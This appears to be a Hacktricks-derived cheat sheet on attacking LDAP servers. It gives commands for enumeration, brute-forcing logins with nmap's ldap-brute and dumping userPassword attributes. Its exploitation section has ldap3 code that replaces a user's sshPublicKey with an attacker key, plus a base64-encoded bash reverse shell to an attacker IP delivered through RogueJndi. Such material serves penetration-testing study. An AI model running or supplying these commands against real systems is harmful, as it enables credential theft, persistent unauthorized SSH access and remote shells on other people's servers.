LDAP Exploitation
A primer into LDAP enumeration and exploitation
Enumeration
Manual simple enumeration with ldap3
Manual LDAP Enumeration Attackers can perform manual LDAP enumeration using Python. Follow the steps given below to perform manual LDAP enumeration using Python.
Using Nmap, check whether the target LDAP server is listening on the port
389
for LDAP and port636
for secure LDAP.If the target server is listening on the specified ports, initiate the enumeration process by installing LDAP using the following command: pip3 install ldap3
As shown in the code given below, create a server object (server), and specify the target IP address or hostname and port number. If the target server is listening on secure LDAP, specify
use_ssl = True
.Retrieve the Directory System Agent (DSA)–specific entry (DSE) naming contexts by specifying
get_info = ldap3.ALL
.Now, create a connection object,
connection
, and initiate a call tobind()
.If the connection is successful, True is displayed on the screen as follows:
>>> import ldap3
>>> server = ldap3.Server('Target IP Address', get_info = ldap3.ALL, port =389)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
Now, one can fetch information such as the domain name and naming context using the following script:
>>> server.info
After obtaining the naming context, retrieve all the directory objects using the script given below:
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries
Now, use the following script to dump the entire LDAP:
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries
This connection
object can also be used to write data.
Using nmap
Attackers use the ldap-brute
NSE script to brute-force LDAP authentication. By default, it uses the built-in username and password lists.
The userdb
and passdb
script arguments can be employed to use custom lists.
sudo nmap
-p 389 --script ldap-brute --script-args ldap.base='"cn=users,dc=<DC_NAME>,dc=com"' <Target IP Address>
sudo nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials
Using ldapsearch
The ldapsearch
is a shell-accessible interface for the ldap_search_ext(3)
library call.
The ldapsearch
opens a connection to an LDAP server, binds it, and performs a search using the specified parameters.
The -x option specifies simple authentication. The -b option specifies the domain string.
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
Extract users:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpasswd' -b "CN=Users,DC=mydom,DC=local"
Extract computers:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"
Extract my info:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Extract Domain Admins:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Extract Domain Users:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Extract Enterprise Admins:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
Extract Administrators:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
Extract Remote Desktop Group:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
To see if you have access to any password you can use grep after executing one of the queries:
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"
You can extract everything from a domain using:
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
Using windapsearch
Windapsearch is a Python script useful to enumerate users, groups, and computers from a Windows domain by utilizing LDAP queries.
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users
Dump information with ldapdomaindump using valid credentials
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]
Exploitation
Write Data with ldap3 and python
Changing the "sshPublicKey" information of a user
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})
Anonymous Login by bypassing TLS SNI check
According to this writeup just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user.
Using ldapsearch
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
Using Rogue JNDI
Java Naming and Directory Interface is a Common interface to interact with Naming and Directory Services.
To know more read this.
Bash reverse shell using rogue jndi
Base 64 encoded reverse shell payload:
echo "bash -c bash -i >& /dev/tcp/<IP ADDRESS>/<PORT> 0>&1" | base64
Start a netcat listener on the PORT.
Use base 64 encoded payload for Rogue JNDI
java -jar RogueJndi-1.1.jar --command "bash -c {echo,YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yNy80NDQ0IDA+JjEiCg==}|{base64,-d}|{bash,-i}" --hostname "10.129.56.33"
Credits: Hacktricks (https://book.hacktricks.xyz/)
Last updated
Was this helpful?